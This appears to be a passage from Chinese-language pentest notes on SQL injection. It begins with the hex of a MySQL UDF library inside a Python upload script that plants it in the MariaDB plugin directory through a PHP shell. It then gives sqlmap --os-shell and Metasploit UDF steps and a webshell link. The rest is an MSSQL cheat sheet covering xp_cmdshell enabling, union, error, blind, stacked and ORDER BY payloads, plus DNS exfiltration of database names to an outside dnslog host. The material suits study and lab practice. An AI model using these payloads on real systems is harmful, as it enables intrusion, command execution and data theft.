1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e8162000')); ''' }requests.post(url, data=data) data2 = {"1" :"shell_exec('cp /var/www/html/a.so /usr/lib/mariadb/plugin/a.so');" } requests.post(url,data=data2)
没有小马还是用sqlmap吧。。
1 2 python3 sqlmap.py -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME python3 sqlmap.py -d "mysql://root:@10.8.194.18:3306/mysql" --os-shell
php大🐎:
1 https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php
msf:
1 2 3 4 msfconsole search mysql_udf use multi/mysql/mysql_udf_payload show_options
MSSQL
注释符
全局变量
1 2 @@VERSION 数据库版本 @@SERVERNAME 运行SQL Server 的本地名称
常见函数
1 2 3 4 5 6 7 8 9 10 11 12 DB_NAME() DB_NAME(n) 获取当前数据库名,如果有n代表获取其他数据库名 USER_NAME() USER system_user current_user 获取用户在数据库中的名字 is_srvrolemember('x' ) 判断当前用户权限,x为sysadmin/ db_owner/ public中的一种s
类型转换
1 2 3 4 5 6 7 8 9 10 11 12 13 ASCII(str) 返回字符串最左端的字符的ASCII值 CHAR(str) 将ASCII转为字符 cast(16 as VARBINARY(50)) convert(VARBINARY(50), 16) master.dbo.fn_varbintohexstr(16) 将16转换为16进制 STR(n) 将数值型数据转换为字符型数据
字符串操作函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 SUBSTRING(str, start, length) 返回str从start位置截取length个长度的字符串 LEFT(str, length) 返回str从最左端开始截取的length个字符 RIGHT(str, length) 返回str从最右端截取的length个字符 QUOTENAME(str[, quote_character]) 返回被特定字符括起来的字符串 REPLICATE(str, times) 返回一个重复str指定次数的字符串 REVERSE(str) 将str的顺序反转 REPLACE(str1, str2, str3) 用str3替换在str1中的子串str2 SPACE(length) 返回一个有指定长度的空白字符串 STUFF(str, start, length, str2) 用str2替换字符串指定位置、长度的子串 CHARINDEX(substring, str) 返回字符串中的子串substring第一次出现的开始位置 str可为子串,也可为列名表达式 如果没有发现,就返回0 该函数不能用于TEXT和IMAGE类型的数据 PATINDEX(%substring%, column_name) 子串前后必须要有百分号,否则返回0 返回字符串中的某个指定的子串开始出现的位置 与charindex不同的是,这个函数的子串可以使用通配符,且可用于char varchar 和text类型
字符串拼接
1 2 3 4 5 6 7 8 9 CONCAT(text1, [text2...]) mssql 2012+ concat_ws(separator, argument1, argument2 [, argumentN]...) SQL Server 2017(14.x) and later select concat_ws(',', a, b, c, d) from xxx 在待拼接的字符串中加入指定的分隔符separator
条件函数
同mysql
1 2 3 if else case when expr1 then expr2 else expr3 end
延时函数
1 2 WAITFOR DELAY '0:0:x' 休眠x秒
常用语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 select is_srvrolemember('sysadmin') select is_srvrolemember('db_owner') select is_srvrolemember('public') 查看数据库权限 select @@version; 获取数据库版本 select user; 用户名 select @@servername; 获取服务器主机名 select name from master..syslogins 获取所有用户 select db_name(); 获取当前数据库 select db_name(n); 获取其他数据库,n=1,2,3,4... select name from master.dbo.sysdatabases where dbid=x 获取其他数据库,x=1,2,3,4... select name from master..sysdatabases; 获取所有数据库 select name from test..sysobjects where xtype='u' 获取第一张表 select top 1 name from 库名.dbo.sysobjects where xtype='U' 获取第二张表 select top 1 name from 库名.dbo.sysobjects where xtype ='U' and name not in ('第一张表') 第三张表 select top 1 name from 库名.dbo.sysobjects where xtype ='U' and name not in ('第一张表', '第二张表') 或者: select table_name from test.information_schema.tables 可以不用加test,也支持跨库查,查出来使用视图的 select table_name from information_schema.tables where table_type not in ('view'); 查出来去除视图的 select name from test..syscolumns where id = (select id from test..sysobjects where name = 'users') 或者 select column_name from test.information_schema.colums where table_name = 'users'; 或者: select top 1 col_name(object_id('users'),1) from sysobjects; i 为第几个字段,int型 select top 1 col_name(object_id('users'),i) from sysobjects; 不支持跨库查询 select username, password from users 获取值 select * from master..sysobjects where name like 'sp%' order by name desc 查找存储过程
XP_CMDSHELL相关
1 (select count(*) FROM master.dbo.sysobjects where xtype = 'X' and name = 'xp_cmdshell')
1 2 3 4 5 6 7 8 9 10 11 执行系统命令 开启 xp_cmdshell 拓展存储过程 use master; exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; 执行系统命令 use master; exec master..xp_cmdshell "whoami";
注入手法
mssql的注入手法和mysql基本相似,但是mssql比mysql相对权限要更大
mssql靶场:
https://github.com/Larryxi/MSSQL-SQLi-Labs
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
联合注入
一模一样
注意一下union
和union all
就是了
union
:对两个结果集进行并操作,不包括重复行,同时进行默认规则的排序
union all
:包括重复行,不进行排序
确认字段:
回显位:
1 id = -1 union all select '1', '2', '3', '4'
需要用单引号括起来,如果直接用数字型的1 2 3 4
,有些地方的类型会出现错误导致无法显示出来,建议使用'1'
或者null
查询数据库权限和服务名:
1 id=-2 union all select '1',str(is_srvrolemember('sysadmin')),@@servername,'4'
这里如果是sysadmin就会回显1
查询数据库名和数据库用户:
1 2 3 4 -2 union all select '1' ,db_name(),user ,'4' 也可以利用下面这个方法来查 id= -2 union all select '1' ,catalog_name,'3' ,'4' from information_schema.schemata
查询其他数据库
1 2 3 4 5 id= -2 union all select '1' ,db_name(1 ),db_name(2 ),'4' id= -2 union all select '1' ,name,'3' ,'4' from master..sysdatabases id= -2 union all select '1' ,name,'3' ,'4' from master..sysdatabases where name != 'master' id= -2 union all select '1' ,name,'3' ,'4' from master..sysdatabases where name not in ('master' ,'model' )
爆表,利用database_name..sysobjects
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #查询数据库的第一个表: id= -2 union all select top 1 '1' ,name,'3' ,'4' from sysobjects where xtype= 'u' id= -2 union all select top 1 '1' ,name,'3' ,'4' from mozhe_db_v2..sysobjects where xtype= 'u' #第二个表: id= -2 union all select top 1 '1' ,name,'3' ,'4' from sysobjects where xtype= 'u' and name not in ('manage' ) #master数据库的第一个表: id= -2 union all select top 1 '1' ,name,'3' ,'4' from master..sysobjects where xtype= 'u' #还可以和mysql一模一样: select top 1 table_name from information_schema.tables# 查询master库第一个表名 select top 1 table_name from master.information_schema.tables
database.information_schema.tables
包含视图
database..sysobjects where xtype='U'
只包含用户创建的表
查列名:
1 2 3 4 5 6 7 8 9 10 -2 union all select top 1 '1' ,name,'3' ,'4' from syscolumns where id = (select id from sysobjects where name= 'manage' ) -2 union all select top 1 '1' ,name,'3' ,'4' from syscolumns where id = (select id from sysobjects where name= 'manage' ) and name != 'id' -2 union all select top 1 '1' ,name,'3' ,'4' from syscolumns where id = (select id from sysobjects where name= 'manage' ) and name not in ('id' ,'username' ) #但是感觉不如: -2 union all select top 1 '1' ,column_name,'3' ,'4' from information_schema.columns where table_name = 'manage' -2 union all select top 1 '1' ,column_name,'3' ,'4' from mozhe_db_v2.information_schema.columns where table_name = 'manage'
查值:
1 -2 union all select '1' ,username,password,'4' from manage
和mysql是差不多的,注意一些语句的差异即可
报错注入
服务器开启了报错信息返回(也就是报错的时候返回错误信息)的时候适用
mssql的报错注入常出现在类型转换错误的情况下,常用函数convert()
、cast()
、> < = 除法等数学运算
查询数据库:
1 id = 1' and 1=convert(int, db_name())--+
convert
原本是将日期转化为新数据类型的函数
但是对于convert(int, db_name())
,convert函数会线执行第二个参数的sql查询结果,再尝试进行转换。
但是由于db_name()查询的结果是VARCHAR
型结果,无法转成int,就会导致转换错误,抛出错误信息
cast()也有类似的效果,它会将一种数据类型的表达式转换成另外一种类型:
1 id = 1' and 1 = cast((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) as varchar)--+
除法:
在进行触发运算的时候,会尝试将db_name
等参数转化为int
,导致出错
> < =
等比较运算也是这样的:
1 2 3 select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users' )) > 0 select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users' )) = 0 select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users' )) < 0
1 id = 1' and (select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) > 0 --+
除此之外还有一些特别的:
报错原理是因为调用此函数的时候,它会将x
转换为smallint
类型,而查询出来的结果为nvarchar
,因此会抛出异常:
1 id = 1' and 1 = db_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
x具有int数据类型,同样地将nvarchar
转int
导致的出错
1 id = 1' and 1 = file_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
1 id = 1' and 1 = file_groupname((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
col_name(table_id, column_id)
1 id = 1' and 1 = col_name(1, (selecct top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
having需要和group by
一起使用,若无group_by,则会直接爆出当前的表
1 id = 1' and having 1=1--+
1 id = 1' group by username, id having 1=1--+
布尔盲注
与mysql流程一致
例如:
1 2 3 id= 2 and len(db_name()) > 10 id= 2 and len(db_name()) > 11 id= 2 and len(db_name()) = 11
爆库:
1 2 id= 2 and ascii(substring (db_name(),{},1 )) < {}
查看数据库有多少表
1 2 # 说明有2 个表 id= 2 and (select count (* ) from sysobjects where xtype= 'U' ) = 2
查看第一张表的第一位:
1 2 # 第一位是m id= 2 and ascii(substring ((select top 1 name from sysobjects where xtype= 'u' ),1 ,1 )) = 109
时间盲注
利用mssql专用的睡眠函数WAITFOR DELAY '0:0:x'
1 id = 2 waitfor delay '0:0:5'
实例:
1 id = 2 if(substring (db_name(),1 ,1 )) = 'm' waitfor delay '0:0:5'
DNSLog
fn_xe_file_target_read_file
和fn_trace_gettable
限制就是需要控制服务器权限
1 2 3 4 5 6 7 8 9 exists (select * from fn_xe_file_target_read_file('C:\*.xel' ,'\\' + (select db_name())+ '.23c999e1.dns.1433.eu.org\1.xem' ,null ,null ))id= 2 + and + exists (select + * + from + fn_xe_file_target_read_file('C:\*.xel' ,'\\' % 2 b(select + db_name())% 2 b'.23c999e1.dns.1433.eu.org\1.xem' ,null ,null )) exists (select * from fn_trace_gettable('\\' + (select db_name())+ '.23c999e1.dns.1433.eu.org\1.trc' ,default ))id= 2 + and + exists (select + * + from + fn_trace_gettable('\\' % 2 b(select + db_name())% 2 b'.23c999e1.dns.1433.eu.org\1.trc' ,default ))
堆叠注入
同mysql,mssql也支持多语句查询
1 id = 1;waitfor delay '0:0:5';
order by
同mysql类似,也是出现在排序中,同样地mssql的order by也是不能够利用预编译进行修复的,原因同mysql(order by 跟的是字段名而不是字符串,如果预编译之后就会将字段名转换为字符串,就报错啦~ 修复方式和mysql是一样的,加白名单)
1 2 order by name order by id
检测方式:
1 order by 1 if(1=1) waitfor delay '0:0:5'
有报错的情况下可以直接通过报错注入来获取:
1 order by convert(int, db_name)--+
无报错的情况下利用时间盲注:
1 order by 1 if(substring(db_name(),1,1)='m') waitfor delay '0:0:5'--+
二次注入
同mysql
参考资料: